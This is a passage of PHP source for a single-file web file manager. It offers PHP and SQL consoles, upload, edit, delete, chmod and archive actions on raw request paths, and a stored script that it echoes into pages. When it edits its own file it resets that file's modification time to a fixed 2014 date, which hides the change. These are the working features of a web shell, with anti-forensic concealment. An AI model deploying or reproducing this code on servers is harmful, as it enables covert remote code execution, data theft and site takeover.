'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
